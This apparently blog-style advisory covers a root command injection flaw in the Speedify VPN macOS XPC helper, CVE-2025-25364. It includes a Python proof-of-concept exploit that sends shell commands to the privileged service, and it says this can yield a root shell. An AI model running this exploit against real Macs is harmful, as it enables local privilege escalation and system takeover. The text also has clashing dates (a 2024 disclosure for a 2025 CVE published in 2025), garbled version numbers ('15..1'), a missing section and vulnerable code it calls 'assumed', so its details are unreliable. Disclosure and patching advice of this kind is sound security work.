Summary
On June 4, 2024, a critical command injection vulnerability was disclosed in the Speedify VPN macOS app, affecting versions up to 15... The flaw is tracked as CVE-2025-25364 and resides in the me.connectify.SMJobBlessHelper XPC service. This service runs with root privileges and fails to properly sanitize inputs, opening the door for attackers to execute arbitrary commands as root — a full compromise of a macOS system running Speedify VPN.

Below, you'll find a deep dive into the vulnerability, easy-to-follow exploit details, code snippets, and references to the original advisory.

[References](#references)

1. What is the XPC Service me.connectify.SMJobBlessHelper?

A lot of macOS apps use XPC services to perform privileged operations — with XPC acting as a helper for inter-process communication. In the case of Speedify VPN, the me.connectify.SMJobBlessHelper XPC service handles operations like setting up networking, modifying system configs, and other tasks which need root-level authority.

Any bug here can lead to full system takeover.

The actual code (decompiled/assumed)

- (void)handleCommand:(NSString *)cmd withArguments:(NSArray *)args {
    // Bug: Directly runs passed command as root!
    NSString *fullCmd = [NSString stringWithFormat:@"%@ %@", cmd, [args componentsJoinedByString:@" "]];
    system([fullCmd UTF8String]);
}

No input sanitization, no validation: a classic command injection flaw.

If an attacker communicates with this XPC helper — either from a local user account or through malware — they can craft custom commands that the service will execute as root.


3. Proof of Concept: Exploiting the Vulnerability

Scenario:
Any local (unprivileged) user or malware running in user context can gain root in seconds.

Below is a simple Python PoC, using the xpc Python wrapper to call the XPC service. (In practice, even a malicious shell script could do this.)

import xpc

# Connect to the vulnerable XPC service
conn = xpc.XPCConnection(service_name="me.connectify.SMJobBlessHelper")
conn.resume()

# Construct payload
malicious_cmd = 'touch /tmp/pwned_from_speedify'  # This will create a file as root

# Send malicious command to the service
conn.send_message({'cmd': '/bin/sh', 'args': ['-c', malicious_cmd]})

print("Exploit sent! Check /tmp for root-owned file.")

conn.invalidate()

What this does:

Connects to the XPC helper.

- Sends it /bin/sh -c 'touch /tmp/pwned_from_speedify'.

The helper runs this as root.

- /tmp/pwned_from_speedify is now root-owned — you have proved root code execution.

Privilege Escalation

You can run any command — add a new user, drop a root shell, whatever you want.

4. Mitigation

- Patch Immediately! — Update Speedify VPN to version 15..1 (or later), which validates inputs before execution.

System Protections — Employ endpoint detection for suspicious XPC traffic.

5. References

- Official Advisory (Speedify Blog)
- Mitre CVE Entry
- Original PoC Discussion
- Apple Developer: XPC Services

Takeaways

This bug is a textbook example of what happens when a privileged helper doesn’t check what it’s fed. If you have Speedify VPN for macOS installed (any version earlier than 15..1), update right away or you risk handing root access to local threats. If you’re a developer, always sanitize and validate every input, especially in root services.

Timeline

Published on: 12/23/2025 00:00:00 UTC
Last modified on: 01/06/2026 17:22:29 UTC